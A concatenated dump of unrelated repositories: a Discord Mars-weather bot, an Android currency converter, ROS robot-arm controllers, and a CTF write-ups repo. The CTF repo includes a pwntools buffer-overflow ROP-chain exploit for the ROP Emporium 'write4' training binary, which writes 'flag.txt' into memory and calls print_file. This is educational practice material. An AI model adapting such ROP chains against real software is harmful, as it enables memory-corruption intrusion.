<file_sep>/config.ini
[YOUTUBE]
api_key = your key for youtube data api v3
[TWITTER]
consumer_key = your twitter consumer key
consumer_secret = your twitter consumer secret
access_token_key = your twitter access token key
access_token_secret = your twitter access token secret
[BOT INFO]
bot_token = your discord bot token
bot_prefix = !
bot_activity = watching
bot_status_text = !commands
bot_status = online
<file_sep>/run.py
# Importing some necessary modules
import discord
from discord.ext.commands import Bot
from discord.ext import commands
from discord.ext.commands import CommandNotFound
from discord.ext import *
import os
from configparser import ConfigParser
# Extracting variables from config file
config_object = ConfigParser()
config_object.read("config.ini")
botinfo = config_object["BOT INFO"]
# Defining some important things
Client = discord.Client()
prefix = botinfo['bot_prefix']
botActivity = botinfo['bot_activity']
botText = botinfo['bot_status_text']
botStatus = botinfo['bot_status']
client = commands.Bot(command_prefix=prefix)
# Remove default 'help' command
client.remove_command('help')
# Set presence on discord & print bot info in console
@client.event
async def on_ready():
activityKeys = {"watching": discord.ActivityType.watching, "playing": discord.ActivityType.playing,
"listening": discord.ActivityType.listening}
statusKeys = {"online": discord.Status.online, "offline": discord.Status.offline,
"away": discord.Status.idle, "afk": discord.Status.idle, "busy": discord.Status.do_not_disturb,
"dnd": discord.Status.do_not_disturb}
# Set bot presence
await client.change_presence(status=statusKeys[botStatus], activity=discord.Activity(type=activityKeys[botActivity], name=botText))
# Print bot info (name & id)
print(f"Name: {client.user.name}")
print(f"ID: {client.user.id}")
count = 1
# Print all servers that the bot is located in
for server in client.guilds:
print(f"Server {str(count)}: {server.name} <ID: {str(server.id)}>")
count += 1
# Handle common 'command not found' error
@client.event
async def on_command_error(ctx, error):
if isinstance(error, CommandNotFound):
if str(error)[9:][:1] == botinfo['bot_prefix']:
pass
else:
return await ctx.send(str(error))
# Load commands
for file in os.listdir('./Commands'):
if file.endswith('.py'):
client.load_extension(f'Commands.{file[:-3]}')
# Run our bot
client.run(botinfo['bot_token'])
<file_sep>/Commands/marsweather.py
# Importing some necessary modules
import discord
from discord.ext.commands import Bot
from discord.ext import commands
from discord.ext import *
import sys,twitter
import json
from configparser import ConfigParser
# Define some important things
config_object = ConfigParser()
config_object.read("config.ini")
keys = config_object["TWITTER"]
# Our twitter keys and twitter api setup
# You need to create application on twitter developer portal to get these values (it's free)
c_key = keys["consumer_key"]
c_secret = keys["consumer_secret"]
a_token_key = keys["access_token_key"]
a_token_secret = keys["access_token_secret"]
api = twitter.Api(
consumer_key=c_key,
consumer_secret=c_secret,
access_token_key=a_token_key,
access_token_secret=a_token_secret,
tweet_mode='extended'
)
# Function that grabs the twitter user's latest tweet and it's full text
def get_tweet(user):
statuses = api.GetUserTimeline(screen_name=user)
return statuses[0].full_text
@commands.command(aliases=['mweather', 'mw'])
async def marsweather(ctx):
try:
# Visit our twitter user and get their most recent posts
latest_tweet = get_tweet("marswxreport")
parts = latest_tweet.split(",")
# Avoid errors by ignoring messages that aren't a weather update
if any("high" in p for p in parts):
# Specify certain elements of data
title = parts[0] + "," + parts[1]
hTemp = parts[2][5:]
lTemp = parts[3][5:]
pressure = parts[4][9:]
daylight = parts[5][:-24]
daylight1 = daylight[9:].split("-")[0]
daylight2 = daylight[9:].split("-")[1]
imgLink = parts[5][27:]
# Set parameters for our embed discord message
embed=discord.Embed(title="Latest Weather Report From The Perseverance Rover", url=imgLink, description=title)
embed.set_author(name="MarsWxReport", url="https://twitter.com/MarsWxReport", icon_url="https://pbs.twimg.com/profile_images/2552209293/220px-Mars_atmosphere_400x400.jpg")
embed.add_field(name="Highest Temperature", value=hTemp, inline=True)
embed.add_field(name="Lowest Temperature", value=lTemp, inline=True)
embed.add_field(name="Pressure", value=pressure, inline=False)
embed.add_field(name="Daylight Time", value=daylight1 + " - " + daylight2, inline=False)
# Send our mars weather update message
await ctx.send(embed=embed
# If no recent updates, let us know
else:
await ctx.send("No recent Mars weather updates")
except Exception as e:
print(e)
# Make the command load & work
def setup(bot):
bot.add_command(marsweather)
<file_sep>/requirements.txt
discord.py
python-twitter
requests
radar
requests-html
simplecalculator
| 44fe4a4bb821399006d5f0d70eeaf097f4c6e0d5 | [
"Markdown",
"Python",
"Text",
"INI"
] | 12 | Python | KonomeH/DISCORD-NASA-BOT | 221712dc6d7c484a3a807737f6f0e142523b86fc | 2de614afec9c143a0b4e4fb4ceb53646b52a1cfe |
refs/heads/master | <file_sep>package com.moringaschool.exchangerateapp;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.view.Menu;
import android.view.MenuInflater;
import android.view.MenuItem;
import android.view.View;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ProgressBar;
import android.widget.Spinner;
import android.widget.TextView;
import com.google.firebase.auth.FirebaseAuth;
import com.google.firebase.auth.FirebaseUser;
import com.google.gson.JsonObject;
import com.moringaschool.exchangerateapp.Authentication.LoginActivity;
import com.moringaschool.exchangerateapp.Profile.ProfileActivity;
import com.moringaschool.exchangerateapp.retrofit.RetrofitBuilder;
import com.moringaschool.exchangerateapp.retrofit.RetrofitInterface;
import static android.content.ContentValues.TAG;
import static java.lang.Integer.parseInt;
//
//import okhttp3.Callback;
//import okhttp3.Response;
import org.json.JSONObject;
import butterknife.BindView;
import butterknife.ButterKnife;
import retrofit2.Call;
import retrofit2.Callback;
import retrofit2.Response;
public class MainActivity extends AppCompatActivity {
//private static final String TAG = MainActivity.class.getSimpleName();
private Button button;
private EditText currencyToBeConverted;
private EditText currencyConverted;
private Spinner convertToDropdown;
private Spinner convertFromDropdown;
// @BindView(R.id.errorTextView) TextView mErrorTextView;
// @BindView(R.id.progressBar)ProgressBar mProgressBar;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// ButterKnife.bind(this);
//Initialization
currencyConverted = (EditText) findViewById(R.id.currency_converted);
currencyToBeConverted = (EditText) findViewById(R.id.currency_to_be_converted);
convertToDropdown = (Spinner) findViewById(R.id.convert_to);
convertFromDropdown = (Spinner) findViewById(R.id.convert_from);
button = (Button) findViewById(R.id.button);
//Adding Functionality
String[] dropDownList = {"USD", "KES", "EUR", "NZD"};
ArrayAdapter<String> adapter = new ArrayAdapter<String>(this, R.layout.support_simple_spinner_dropdown_item, dropDownList);
convertToDropdown.setAdapter(adapter);
convertFromDropdown.setAdapter(adapter);
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
RetrofitInterface retrofitInterface = RetrofitBuilder.getRetrofitInstance().create(RetrofitInterface.class);
//Call<JSONObject> call = retrofitInterface.getExchangeCurrency("INR");
Call<JsonObject> call = retrofitInterface.getExchangeCurrency(convertFromDropdown.getSelectedItem().toString());
call.enqueue(new Callback<JsonObject>() {
@Override
public void onResponse(Call<JsonObject> call, Response<JsonObject> response) {
//Log.d("response",String.valueOf(response.body()));
JsonObject res = response.body();
JsonObject rates = res.getAsJsonObject("rates");
double currency = Double.valueOf(currencyToBeConverted.getText().toString());
double multiplier = Double.valueOf(rates.get(convertToDropdown.getSelectedItem().toString()).toString());
double result = currency * multiplier;
currencyConverted.setText(String.valueOf(result));
}
@Override
public void onFailure(Call<JsonObject> call, Throwable t) {
Log.e("Error Message", "onFailure: ",t );
//hideProgressBar();
//showFailureMessage();
}
});
}
});
// private void showFailureMessage() {
// mErrorTextView.setText("Something went wrong. Please check your Internet connection and try again later");
// mErrorTextView.setVisibility(View.VISIBLE);
// }
//
// private void showUnsuccessfulMessage() {
// mErrorTextView.setText("Something went wrong. Please try again later");
// mErrorTextView.setVisibility(View.VISIBLE);
// }
//
//
// private void hideProgressBar() {
// mProgressBar.setVisibility(View.GONE);
// }
}
}
// private FirebaseAuth mAuth;
// private FirebaseAuth.AuthStateListener mAuthListener;
//
// //esthers work
//
// private Button mFindRatesButton;
// private EditText mRateEditText;
// private TextView mAppNameTextView;
//
//
//
// @Override
// protected void onCreate(Bundle savedInstanceState) {
// super.onCreate(savedInstanceState);
// setContentView(R.layout.activity_main);
//
// mAuth = FirebaseAuth.getInstance();
// mAuthListener = new FirebaseAuth.AuthStateListener(){
// @Override
// public void onAuthStateChanged(@NonNull FirebaseAuth firebaseAuth){
// FirebaseUser user = firebaseAuth.getCurrentUser();
// if (user != null) {
// getSupportActionBar().setTitle("Welcome, " + user.getDisplayName() + "!");
//
// } else {
//
// }
// }
// };
//
// //Esthers work
//
// mRateEditText = (EditText) findViewById(R.id.rateEditText);
// mFindRatesButton = (Button) findViewById(R.id.findRatesButton);
// mAppNameTextView = (TextView) findViewById(R.id.appNameTextView);
//
// mFindRatesButton.setOnClickListener(new View.OnClickListener() {
// @Override
// public void onClick(View v) {
// if (v == mFindRatesButton) {
// int rate = parseInt(mRateEditText.getText().toString());
// Log.d(TAG, String.valueOf(rate));
// Intent intent = new Intent(MainActivity.this, RatesActivity.class);
// intent.putExtra("rate", rate);
// startActivity(intent);
// }
//
// }
// });
//
// }
//
//
// @Override
// public boolean onCreateOptionsMenu(Menu menu){
// MenuInflater inflater = getMenuInflater();
// inflater.inflate(R.menu.menu_main, menu);
// return super.onCreateOptionsMenu(menu);
// }
//
// @Override
// public boolean onOptionsItemSelected(MenuItem item){
// int id = item.getItemId();
// if(id == R.id.action_logout){
// logout();
// return true;
// }
// if(id == R.id.profile){
// Intent intent = new Intent(MainActivity.this, ProfileActivity.class);
// startActivity(intent);
// return true;
// }
// return super.onOptionsItemSelected(item);
// }
//
// private void logout(){
// FirebaseAuth.getInstance().signOut();
// Intent intent = new Intent(MainActivity.this, LoginActivity.class);
// intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
// startActivity(intent);
// finish();
// }
//
// @Override
// public void onStart() {
// super.onStart();
// mAuth.addAuthStateListener(mAuthListener);
// }
//
// @Override
// public void onStop() {
// super.onStop();
// if (mAuthListener != null) {
// mAuth.removeAuthStateListener(mAuthListener);
// }
// }
//
<file_sep>package com.moringaschool.exchangerateapp;
import static java.lang.Integer.parseInt;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.ListView;
import android.widget.Toast;
import java.util.ArrayList;
import java.util.List;
import butterknife.BindView;
import butterknife.ButterKnife;
import retrofit2.Call;
import retrofit2.Callback;
import retrofit2.Response;
public class RatesActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_rates);
}
}
// private static final String TAG = RatesActivity.class.getSimpleName();
//
// @BindView(R.id.errorTextView) TextView mErrorTextView;
// @BindView(R.id.progressBar)
// ProgressBar mProgressBar;
// @BindView(R.id.rateTextView) TextView mRateTextView;
// @BindView(R.id.listView) ListView mListView;
//
// // private int [] rates = new int [] {Integer.parseInt("dollars"), Integer.parseInt("euros")};
//
//
// // private String [] country = new String [] {"Kshs","dollars"};
// //private int [] rates =new int[] {100,200};
//
//
// // private String[] rates = new String[] {1000, 200,
//
//
// @Override
// protected void onCreate(Bundle savedInstanceState) {
// super.onCreate(savedInstanceState);
// setContentView(R.layout.activity_rates);
// ButterKnife.bind(this);
//
//// mListView = (ListView) findViewById(R.id.listView);
//// mRateTextView = (TextView) findViewById(R.id.rateTextView);
//
// // ArrayAdapter adapter = new ArrayAdapter(this, android.R.layout.simple_list_item_1, currencyRates);
// // MyRatesArrayAdapter adapter = new MyRatesArrayAdapter(this, android.R.layout.simple_list_item_1, country,rates); // the arguments must match constructor's parameters!
// // mListView.setAdapter(adapter);
//
//
// mListView.setOnItemClickListener(new AdapterView.OnItemClickListener() {
// @Override
// public void onItemClick(AdapterView<?> adapterView, View view, int position, long l) {
// String rates = ((TextView)view).getText().toString();
// Toast.makeText(RatesActivity.this, rates, Toast.LENGTH_LONG).show();
// }
// });
//
// Intent intent = getIntent();
// String rate = intent.getStringExtra("rate");
// // int rate = intent.getIntExtra("rate", 0);
//
// // int rate = parseInt(intent.getStringExtra("rate"));
// //int rate = parseInt(mRateEditText.getText().toString());
// //int rate = intent.getStringExtra("rate");
// mRateTextView.setText("The input currency is shs: " + rate);
//
//
// CurrencyApi client = CurrencyClient.getClient();
//
// Call<CurrencyExchangeRateSearchResponse> call = client.getRates("rates");
//
// call.enqueue(new Callback<CurrencyExchangeRateSearchResponse>() {
// @Override
// public void onResponse(Call<CurrencyExchangeRateSearchResponse> call, Response<CurrencyExchangeRateSearchResponse> response) {
// hideProgressBar();
//
// if (response.isSuccessful()) {
// assert response.body() != null;
// List<Rates> ratesList = response.body().getRates();
// String [] rates = new String[ratesList.size()];
//
//
// for (int i = 0; i < rates.length; i++){
// rates[i] = String.valueOf(ratesList.get(i).getAll());
// // rates[i] = Integer.parseInt(String.valueOf(ratesList.get(i).getAll()));
// }
//
//// for (int i = 0; i < categories.length; i++) {
//// Category category = restaurantsList.get(i).getCategories().get(0);
//// categories[i] = category.getTitle();
//// }
//
// ArrayAdapter adapter = new MyRatesArrayAdapter(RatesActivity.this, android.R.layout.simple_list_item_1, rates);
// mListView.setAdapter(adapter);
//
// showRates();
// } else {
// showUnsuccessfulMessage();
// }
//
// }
//
// @Override
// public void onFailure(Call<CurrencyExchangeRateSearchResponse> call, Throwable t) {
// hideProgressBar();
// showFailureMessage();
//
// }
//
//
// });
//}
//
//
//
//
// private void showFailureMessage() {
// mErrorTextView.setText("Something went wrong. Please check your Internet connection and try again later");
// mErrorTextView.setVisibility(View.VISIBLE);
// }
//
// private void showUnsuccessfulMessage() {
// mErrorTextView.setText("Something went wrong. Please try again later");
// mErrorTextView.setVisibility(View.VISIBLE);
// }
//
// private void showRates() {
// mListView.setVisibility(View.VISIBLE);
// mRateTextView.setVisibility(View.VISIBLE);
// }
//
// private void hideProgressBar() {
// mProgressBar.setVisibility(View.GONE);
// }
//import butterknife.BindView;
//import butterknife.ButterKnife;
// @BindView(R.id.rateTextView) TextView mRateTextView;
// @BindView(R.id.listView) ListView mListView;
// private int [] rates = new int [] {Integer.parseInt("dollars"), Integer.parseInt("euros")};
// private String [] country = new String [] {"Kshs","dollars"};
// private int [] rates =new int[] {100,200};
// // private String[] rates = new String[] {1000, 200,
//
// @Override
// protected void onCreate(Bundle savedInstanceState) {
// super.onCreate(savedInstanceState);
// setContentView(R.layout.activity_rates);}
// ButterKnife.bind(this);
// mListView = (ListView) findViewById(R.id.listView);
// mRateTextView = (TextView) findViewById(R.id.rateTextView);
// ArrayAdapter adapter = new ArrayAdapter(this, android.R.layout.simple_list_item_1, currencyRates);
// MyRatesArrayAdapter adapter = new MyRatesArrayAdapter(this, android.R.layout.simple_list_item_1, country,rates); // the arguments must match constructor's parameters!
// mListView.setAdapter(adapter);
//
//
// mListView.setOnItemClickListener(new AdapterView.OnItemClickListener() {
// @Override
// public void onItemClick(AdapterView<?> adapterView, View view, int position, long l) {
// String rates = ((TextView)view).getText().toString();
// Toast.makeText(RatesActivity.this, rates, Toast.LENGTH_LONG).show();
// }
// });
//
// Intent intent = getIntent();
// int rate = intent.getIntExtra("rate", 0);
//
// // int rate = parseInt(intent.getStringExtra("rate"));
// //int rate = parseInt(mRateEditText.getText().toString());
// //int rate = intent.getStringExtra("rate");
// mRateTextView.setText("The input currency is shs: " + rate);
// }
<file_sep>package com.moringaschool.exchangerateapp;
import android.content.Context;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ArrayAdapter;
import android.widget.BaseAdapter;
import androidx.annotation.NonNull;
import java.util.ArrayList;
import java.util.List;
//public class MyRatesArrayAdapter extends BaseAdapter {
// private Context mContext;
// // private String[] mCountry;
// private ArrayList<Rates> mRates;
// public MyRatesArrayAdapter(Context context,ArrayList<Rates> mRates){
// this.mContext = context;
// this.mRates= mRates;
//
// }
//
// @Override
// public int getCount() {
// return mRates.size();
// }
//
// @Override
// public Object getItem(int position) {
// return mRates.get(position);
// }
//
// @Override
// public long getItemId(int position) {
// return position;
// }
//
// @Override
// public View getView(int position, View convertView, ViewGroup parent) {
// return null;
// }
// public MyRatesArrayAdapter(Context context, List<Rates> mRates) {
// super(context);
// this.mContext = mContext;
// //// this.mCountry = mCountry;
// this.mRates= mRates;
// }
// @Override
// public Object getItem(int position) {
// // String country = mCountry[position];
// String rate = mRates[position];
//
// return String.format("%s \nNew currency is: %s",rate);
// }
//
// @Override
// public int getCount() {
// return mRates.length;
// }
//}
import android.widget.ArrayAdapter;
import androidx.annotation.NonNull;
public class MyRatesArrayAdapter extends ArrayAdapter {
private Context mContext;
private String[] mCountry;
private int [] mRates;
public MyRatesArrayAdapter(@NonNull Context context, int resource,String [] mCountry,int [] mRates) {
super(context, resource);
this.mContext = mContext;
this.mCountry = mCountry;
this.mRates= mRates;
}
@Override
public Object getItem(int position) {
String country = mCountry[position];
int rate = mRates[position];
return String.format("%s \nNew currency is: %s", country,rate);
}
@Override
public int getCount() {
return mCountry.length;
}
}
| 8aefa027068c5a7bb11581b77770c30b8bddd5a8 | [
"Java"
] | 3 | Java | Esther-Moki/currency-exchange | 7e1f98e1b413e588f9d864adeec3e6ffdb39f9a7 | 2de274721cd1773728c40de403a8d988fbff826b |
refs/heads/master | <repo_name>DavideBitetto/Bitetto-control<file_sep>/my_controller/src/topic_CT.cpp
#include<iostream>
#include <string>
#include <ros/ros.h>
#include <sensor_msgs/JointState.h>
#include <robot_state_publisher/robot_state_publisher.h>
using namespace std;
int main(int argc, char** argv)
{
ros::init(argc, argv, "topic_CT"); //The name of the node
ros::NodeHandle n;
ros::Publisher joint_pub = n.advertise<sensor_msgs::JointState>("/test/ct_controller/command", 1);
ros::Rate loop_rate(10);
// message declarations
sensor_msgs::JointState joint_state;
while (ros::ok()) {
joint_state.name.resize(2);
joint_state.position.resize(2);
joint_state.velocity.resize(2);
joint_state.effort.resize(2);
joint_state.name[0]="joint_1";
joint_state.position[0] = 0.0;
joint_state.velocity[0] = 0.0;
joint_state.effort[0] = 0.0;
joint_state.name[1] ="joint_2";
joint_state.position[1] = 1.5;
joint_state.velocity[1] = 0.0;
joint_state.effort[0] = 0.0;
//send the joint state and transform
joint_pub.publish(joint_state);
// This will adjust as needed per iteration
loop_rate.sleep();
}
return 0;
}<file_sep>/my_controller/src/topic_PD.cpp
#include<iostream>
#include <string>
#include <math.h>
#include <ros/ros.h>
#include <ros/time.h>
#include <sensor_msgs/JointState.h>
#include <robot_state_publisher/robot_state_publisher.h>
using namespace std;
int main(int argc, char** argv)
{
ros::init(argc, argv, "topic_PD"); //The name of the node
ros::NodeHandle n;
ros::Publisher joint_pub = n.advertise<sensor_msgs::JointState>("/test/pd_controller/command", 1);
ros::Rate loop_rate(10);
// message declarations
sensor_msgs::JointState joint_state;
joint_state.name.resize(2);
joint_state.position.resize(2);
joint_state.velocity.resize(2);
joint_state.effort.resize(2);
double t_f = 0.05;
double k = 0.0;
double sec = ros::Time::now().toSec();
double t = t_f + sec;
while (ros::ok()) {
while((ros::Time::now().toSec() - t < 0) && (k < 6.3)) {
ros::spinOnce();
cout << "sono nel while: " << ros::Time::now().toSec() << endl;
joint_state.name[0]="joint_1";
joint_state.position[0] = k;
joint_state.velocity[0] = 0.0;
joint_state.effort[0] = 0.0;
joint_state.name[1] ="joint_2";
joint_state.position[1] = k;
joint_state.velocity[1] = 0.0;
joint_state.effort[0] = 0.0;
joint_pub.publish(joint_state);
cout << "posizione: " <<joint_state.position[0] << endl;
loop_rate.sleep();
}
cout << "sono uscito dal while " << ros::Time::now().toSec() << endl;
k+= 0.05;
sec = ros::Time::now().toSec();
t = t_f + sec;
}
return 0;
}
<file_sep>/test_control/scripts/main.py
#!/usr/bin/env python3
# license removed for brevity
import rospy
import math
from std_msgs.msg import Float64
def talker():
pub = rospy.Publisher('/test/joint_1_position_controller/command', Float64, queue_size=10)
pub2 = rospy.Publisher('/test/joint_2_position_controller/command', Float64,queue_size=10)
rospy.init_node('test_talker', anonymous=True)
rate = rospy.Rate(10) # 10hz
i = 0
j = 0
while not rospy.is_shutdown():
position = math.sin(i)
position2 = math.sin(j)
rospy.loginfo(position)
rospy.loginfo(position2)
pub.publish(position)
pub2.publish(position2)
rate.sleep()
i += 0.01
j += 0.01
if __name__ == '__main__':
try:
talker()
except rospy.ROSInterruptException:
pass
<file_sep>/test_control/scripts/giunti.cpp
#include "ros/ros.h"
#include "std_msgs/String.h"
#include "std_msgs/Float64.h"
#include <sstream>
#include <fstream>
#include <iostream>
#include <string>
#include <iomanip>
#include <vector>
#include <math.h>
#include <stdlib.h>
using namespace std;
int main(int argc, char **argv)
{
ros::init(argc, argv, "joint");
ros::NodeHandle n;
ros::Publisher joint_1_pub = n.advertise<std_msgs::Float64>("/test/joint_1_position_controller/command", 10);
ros::Publisher joint_2_pub = n.advertise<std_msgs::Float64>("/test/joint_2_position_controller/command", 10);
ros::Rate loop_rate(5);
string joint1, joint2;
vector<float>joint_1;
vector<float>joint_2;
int k=0;
ifstream coeff("/home/david/catkin_ws/src/test_control/scripts/q_joint.txt"); //opening the file.
if (coeff.is_open()) //if the file is open
{
string line;
cout <<"sono entrato"<<endl;
while (getline(coeff,line))
{
stringstream ss(line);
getline(ss, joint1, ',');
joint_1.push_back(stof(joint1));
getline(ss, joint2);
joint_2.push_back(stof(joint2));
k++;
}
coeff.close(); //closing the file
}else cout << "non è stato aperto il file" <<endl;
int i = 0;
int j = 0;
//while (ros::ok())
//{
for (i=0, j=0 ; i < k, j < k ; i++, j++){
std_msgs::Float64 position;
position.data = joint_1[i];
std_msgs::Float64 position1;
position1.data = joint_2[j];
ROS_INFO("%f", position.data);
ROS_INFO("%f", position1.data);
joint_1_pub.publish(position);
joint_2_pub.publish(position1);
ros::spinOnce();
loop_rate.sleep();
}
//}
return 0;
}<file_sep>/README.md
# Bitetto-control
roslaunch test_gazebo test.launch
roslaunch my_robot_urdf spawn_urdf.launch
roslaunch test_control CT_controller.launch
rosrun my_controller topic_CT
<file_sep>/my_controller/src/Computed_Torque.cpp
#include <array>
#include <string>
#include <vector>
#include <math.h>
#include <eigen3/Eigen/Dense>
#include <controller_interface/controller.h>
#include <hardware_interface/joint_command_interface.h>
#include <pluginlib/class_list_macros.h>
#include <std_msgs/Float64.h>
#include <controller_interface/multi_interface_controller.h>
#include <hardware_interface/robot_hw.h>
#include <hardware_interface/joint_state_interface.h>
#include <ros/console.h>
#include <ros/node_handle.h>
#include <rbdl/rbdl.h>
#include <rbdl/rbdl_utils.h>
#include <rbdl/addons/urdfreader/urdfreader.h>
#include <rbdl/Constraints.h>
#include <sensor_msgs/JointState.h>
using namespace RigidBodyDynamics;
using namespace RigidBodyDynamics::Math;
using namespace std;
namespace my_controller_ns
{
class Computed_Torque : public controller_interface::Controller<hardware_interface::EffortJointInterface>
{
bool init(hardware_interface::EffortJointInterface* hw, ros::NodeHandle &n)
{
//Controlla il path
string path;
if (!n.getParam("/path", path))
{
ROS_ERROR("Specify the path of model.urdf");
return false;
}
const char *path_char = path.c_str();
//Caricamento URDF
std::cout << "Inizio il caricamento del file URDF"<<std::endl;
if (!Addons::URDFReadFromFile (path_char, model, false, false))
{
std::cout << "Error loading model ./onearm_ego.xacro" << std::endl;
//abort();
}
std::cout << "Il file URDF è stato caricato con successo"<<std::endl;
std::cout << "Degree of freedom overview:" << std::endl;
std::cout << Utils::GetModelDOFOverview(*model);
//Controlla ID del robot
string rr_id;
if (!n.getParam("rr_id", rr_id))
{
ROS_ERROR("Computed_Torque: Could not get parameter arm_id!");
return false;
}
//Controlla se ci sono i guadagni
if (!n.getParam("kp", kp) || !n.getParam("kv", kv))
{
ROS_ERROR("Non e' stato possibile trovare kp e kv");
return false;
}
//Controlla joint_names
vector<string> joint_names;
if (!n.getParam("joint_names", joint_names) || joint_names.size() != 2)
{
ROS_ERROR("Non e' stato possibile trovare tutti i giunti");
return false;
}
//joint_handle e command pos e vel
for (size_t i = 0; i < 2; ++i)
{
joint_handle.push_back(hw->getHandle(joint_names[i]));
command_q_d[i] = joint_handle[i].getPosition();
command_dot_q_d[i] = joint_handle[i].getVelocity();
}
//Subscribe
sub_command_ = n.subscribe<sensor_msgs::JointState>("command", 1, &Computed_Torque::setCommandCB, this);
this->pub_err_ = n.advertise<sensor_msgs::JointState> ("tracking_error", 1);
return true;
}
void update(const ros::Time& time, const ros::Duration& period)
{
for(size_t i = 0; i < 2; ++i)
{
q_curr[i] = joint_handle[i].getPosition();
dot_q_curr[i] = joint_handle[i].getVelocity();
}
CompositeRigidBodyAlgorithm(*model, q_curr, M);
cout << "Inertia matrix:" << std::endl;
cout << M << endl;
NonlinearEffects(*model, q_curr, dot_q_curr, C);
c_ = C;
NonlinearEffects(*model, q_curr, dot_Q, C);
g_ = C;
cout << "Gravity vector:" << endl;
cout << g_ << endl;
cor_ = c_ - g_;
cout << "Coriolis*Q " << endl;
cout << cor_ << endl;
//Legge di controllo Computed_torque
err = command_q_d - q_curr;
dot_err = command_dot_q_d - dot_q_curr;
sensor_msgs::JointState error_msg;
vector<double> err_vec(err.data(), err.data() + err.rows()*err.cols());
vector<double> dot_err_vec(dot_err.data(), dot_err.data() + dot_err.rows()*dot_err.cols());
error_msg.header.stamp = ros::Time::now();
error_msg.position = err_vec;
error_msg.velocity = dot_err_vec;
this->pub_err_.publish(error_msg);
tau_cmd = M*command_dot_dot_q_d + cor_ + g_ + kp*err + kv*dot_err; // cor_->C*dq
//Command
for(size_t i= 0; i<2; ++i)
{
joint_handle[i].setCommand(tau_cmd[i]);
}
}
void setCommandCB(const sensor_msgs::JointStateConstPtr& msg)
{
command_q_d = Eigen::Map<const Eigen::Matrix<double, 2, 1>>((msg->position).data());
command_dot_q_d = Eigen::Map<const Eigen::Matrix<double, 2, 1>>((msg->velocity).data());
command_dot_dot_q_d = Eigen::Map<const Eigen::Matrix<double, 2, 1>>((msg->effort).data()); //accelerazione (effort)
}
void starting(const ros::Time& time) { }
void stopping(const ros::Time& time) { }
private:
Model* model = new Model();
/* Gain Matrices */
double kp, kv;
/* Defining q_current, dot_q_current, and tau_cmd */
Eigen::Matrix<double, 2, 1> q_curr;
Eigen::Matrix<double, 2, 1> dot_q_curr;
Eigen::Matrix<double, 2, 1> tau_cmd;
/* Error and dot error feedback */
Eigen::Matrix<double, 2, 1> err;
Eigen::Matrix<double, 2, 1> dot_err;
/* Used for saving the last command position and command velocity, and old values to calculate the estimation */
Eigen::Matrix<double, 2, 1> command_q_d; // desired command position
Eigen::Matrix<double, 2, 1> command_dot_q_d; // desired command velocity
Eigen::Matrix<double, 2, 1> command_dot_dot_q_d; // estimated desired acceleration command
/* Mass Matrix and Coriolis vector */
VectorNd dot_Q = VectorNd::Zero (2);
Eigen::MatrixXd M = Eigen::MatrixXd::Zero(2,2);
VectorNd C = VectorNd::Zero (2);
VectorNd cor_ = VectorNd::Zero (2);
VectorNd g_ = VectorNd::Zero (2);
VectorNd c_ = VectorNd::Zero (2);
ros::Subscriber sub_command_;
ros::Publisher pub_err_;
vector<hardware_interface::JointHandle> joint_handle;
};
PLUGINLIB_EXPORT_CLASS(my_controller_ns::Computed_Torque, controller_interface::ControllerBase);
}
| 3f0ea046ecdbefcf3c657b8e0dba38c066cab969 | [
"Markdown",
"Python",
"C++"
] | 6 | C++ | DavideBitetto/Bitetto-control | ab25ef0d0132be0e3e8d46db73a6894d27aeccc2 | 3ecb6ff9a360e0e8aa83fb8f9890e5f9f8146e80 |
refs/heads/master | <repo_name>l0x539/CTFs-writeups<file_sep>/ropemporium/write4/exploit.py
from pwn import cyclic, process, ROP, ELF, p64, log
_FILE = "./write4"
p = process(_FILE)
binary = ELF(_FILE, checksec=False)
rop = ROP(binary)
pop_r14_r15 = rop.find_gadget(["pop r14", "pop r15", "ret"])[0]
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0] # or 0x00400692
pop_qword_r14 = 0x400628 # rop.find_gadget(["mov QWORD PTR [r14], r15", "ret"])[0] # or 0x00400628 is open file argument
pwnme_got = binary.got['pwnme'] + 16 # 0x00600e00 # we gonna write "flag.txt" in this address +16 cause we don't wanna overwrite print_file got.plt address
log.info("pwnme: " + str(hex(pwnme_got)))
print_file = binary.plt['print_file']
flag_txt_str = b"flag.txt" # 8 characters
EOL = p64(0x0) # adding null character at the end right after flag.txt so the file reader can open it.
# chaining
payload = cyclic(40, n=8) # generating 40 characters pattern
## add null character right after the string ==> string[1] = "\x00"*8
payload += p64(pop_r14_r15)
payload += p64(pwnme_got+1)
payload += EOL # load this string to rdi (aka argument)
payload += p64(pop_qword_r14)
## adding flag.txt ==> string[0] = "flag.txt"; notice that flag.txt is 8 character, if it was only 7 we could've got rid of the previous part doing string = "lag.txt\x00"
payload += p64(pop_r14_r15)
payload += p64(pwnme_got)
payload += flag_txt_str # load this string to rdi (aka argument)
payload += p64(pop_qword_r14)
## passing flag.txt{\0<8 times>} as an argument to print_file
payload += p64(pop_rdi)
payload += p64(pwnme_got)
payload += p64(print_file)
# interacting and sending payload
print(p.recvuntil("> ").decode("latin-1"))
p.sendline(payload)
# printing output
print(p.clean().decode("latin-1"))
with open("exp", "wb") as f:
f.write(payload)
f.close()
<file_sep>/README.md
# CTFs-writeups
Different CTF writeups that i go through.
<file_sep>/ropemporium/README.md
# ROP Emporium
## All challenges
### 1. Ret2win
- Basic overflow *==>* [Tutorial](https://github.com/l0x539/CTFs-writeups/tree/master/ropemporium/ret2win)
### 2. split
- Chaining return calls *==>* [Tutorial](https://github.com/l0x539/CTFs-writeups/tree/master/ropemporium/split)
### 3. callme
- GOT/PLT chain calls with passing arguments *==>* [Tutorial](https://github.com/l0x539/CTFs-writeups/tree/master/ropemporium/split)
### 4. write4
